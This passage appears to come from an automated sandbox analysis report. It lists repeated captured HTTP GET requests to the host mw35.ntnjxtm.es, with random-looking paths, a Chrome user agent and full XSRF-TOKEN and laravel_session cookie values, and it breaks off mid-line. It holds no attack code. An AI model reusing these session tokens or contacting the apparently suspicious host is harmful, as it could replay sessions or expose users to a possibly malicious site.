laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxWhSTMOG655aLMky6GgLcGnDrszEdij9IMDemh0xApGn4Lk9up110590171 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /kl8mPQzpGbirEdcRLxLz8tFXgV0Kw23q1dklQk4ciJSFysrOz8mW9ApmABxaHS2wx220 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rsra1UKjLx7gt4WZf7qbu2Ck17DBOf1DRrsKuvWFjKxwoCKh3QJVXy30Hg5eir9bygwef191 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ij4vumqyzIhPR8OaBYruvXmpBJpCdmnsDh1JejpCAezqCSWQx12210 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /op3aUwqrFucYzTnMlf8HnLN6yWXghEI2OWynhvS91Pql45138 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijg4Ym5GckFsemg3Ri9ZUmZSL2Uvc2c9PSIsInZhbHVlIjoiUEZ3ck0zN2ptTkdWMmE5NjFHanIzZHZqalhjK3BzK1hXQjJuRVRpV3dsWHY2MmlnMTYzL2NDY0RxNWtjUy9GT1B1N2JXcHNNR096SmFqWnBOZnRZdjR5Um9JSE41cWFDVWlJMEErZTRlUFN0Sk5vL3orOC8yUU9MaUlDc3RJNXoiLCJtYWMiOiJjZGU2MzMzOWI5YWZhN2ZhNjJkNzYxYzcwN2ViODE1YzU5MzMyYTJmZWZmMjc0ZWUzN2E2NzA5YmM3NzVlMDAyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlTVng0Q3pLUTViSWdKS1RzcFZpWkE9PSIsInZhbHVlIjoiVE1NQVl2QlQwb1NtR25hSjAvUkdESFp6WDhkZ0hFSTVlODh4cHJOcjZPYnRGb1IyMlpyMFUxYi9tRHRyV3ppN3AwSzE4dEhsZEhNb3poR1k0NE9wUzNSUDdmUmlMNlU3OTV1MUZqbTA5Z1RoR3AvVmxDVjR6UytldmVER01mYlgiLCJtYWMiOiI2OTAwMjRlYWNjODA3YWRlMTAxYjkxM2RjOTJhNjU5ZGMxZTc4NjY3YjkxZDA2MTcyNWUzM2I1MzhmM2UxYzI0IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /qrj4U6jTgRKvBdkLWZqdqfB3p2jw2ibQdQfKZTRYCuvoe01fiqo7ad5CrnBvyscrD8Fne1ef231 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /xhlW4mAR3XLeDE1j0l0MdiZSDcmn6u7QdWJdkmAkGX5fYJ0tmcm HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvS8H5UapJWbxIjy8CP8aivIvP4l2URIMo14h459BC0wEeoEk9HeIdE17MoatY4CH42C2iA2zef259 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /mnNty0NDXXLQyviMh2NGie7opYWcEC7YX2uvZOFaRw1nvJwj3QtZhPgMA990143 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxWhSTMOG655aLMky6GgLcGnDrszEdij9IMDemh0xApGn4Lk9up110590171 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ijykqoO7Vm438XuMJszsACwxpIJFeLHfJ2FQbsTsDzHt7n78170 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rsra1UKjLx7gt4WZf7qbu2Ck17DBOf1DRrsKuvWFjKxwoCKh3QJVXy30Hg5eir9bygwef191 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ij4vumqyzIhPR8OaBYruvXmpBJpCdmnsDh1JejpCAezqCSWQx12210 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9PTHZxKzgzbmJEcHVETlhYb1lOYVE9PSIsInZhbHVlIjoiTjJrRUYzenFLNDZRdDVZZ21FZ1I4Q1VxemtqaXJ4SGc3SENuY2xaaUpGMmxWNW9xanFNc1VSUFZwblVEa1dGeWJ6Um9pN05ldEFiVCtHT2p1cDRxY1RxWnJyRWZab2F1VklRdDNJc2Z5R21sZFh3QURGbUhTMWF2OG4xVlN6b1AiLCJtYWMiOiI0Yzk2OTA0ZjllNDZkOWQ3NzNmOGUzYjcwNzU1MmM3MTc2YzdmNjhjMmUyOWQwNDM1ODhhYmFlNjk3OWUzZDdkIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /qrj4U6jTgRKvBdkLWZqdqfB3p2jw2ibQdQfKZTRYCuvoe01fiqo7ad5CrnBvyscrD8Fne1ef231 HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlkrOFBIM3hJcEE4ZWFnNXdyTnBES2c9PSIsInZhbHVlIjoiTi83VWtaYVg5OTVKbWtORCtKcks2SHVYYTUzVXRmUUMwSnJKZC9TYmppN2pqZStVY1BXSmJCbFJIbHNJb1pFZjdidWVZL0haVWxWV3dyTEx0MW81UG5GQWJkS1BNKy9lL3prcjNnVW91cVVlMG9Jcm5VaVkwMzkwQUlnaFEvQnYiLCJtYWMiOiI1MWViNTExZWE1NjRlNWRmNmY1NGI3OGRmNmRhZWVmZmI4M2M1Y2Y5NzFlODFmZmFhMTMzMzY1YzM2ZWNkNjE1IiwidGFnIjoiIn0%3D; 